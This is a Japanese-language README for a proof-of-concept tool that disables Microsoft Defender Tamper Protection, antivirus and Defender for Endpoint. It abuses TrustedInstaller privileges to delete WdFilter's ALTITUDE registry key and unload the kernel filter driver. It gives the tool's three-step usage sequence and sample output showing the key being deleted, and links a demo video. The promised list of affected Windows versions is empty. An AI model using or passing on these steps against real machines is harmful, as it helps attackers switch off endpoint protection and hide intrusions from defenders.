TamperProtectionやその他のDefender / MDEコンポーネントを無効にするPoC
SYSTEM / TrustedInstaller権限を悪用して、WdFilterの設定(ALTITUDEレジストリキー)を改ざん・削除し、カーネルミニドライバをアンロードすることで、Tamper Protectionやその他のDefenderコンポーネントを無効化することが可能です。これはMicrosoftのDefender for Endpoint(MDE)にも影響し、MDEを標的に対するテレメトリやアクティビティの通知から遮断します。
この脆弱性は、テスト中に以下のWindowsバージョンに影響することが確認されました。

注: ターゲットにVC_redist.x64.exe(MSVCランタイム)のインストールが必要になる場合があります。
POCデモ: https://youtu.be/MI6aVDHRix8
POCは3つのステップで動作します(管理者権限が必要です):
C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1: Unload WdFilter
2: Disable Tamper Protection
3: Disable AV/MDE
4: Restore AV/MDE settings
POCの使用例は次のとおりです:
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!
# 2回目の実行で上記の出力が繰り返される場合、ターゲットは脆弱ではありません
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
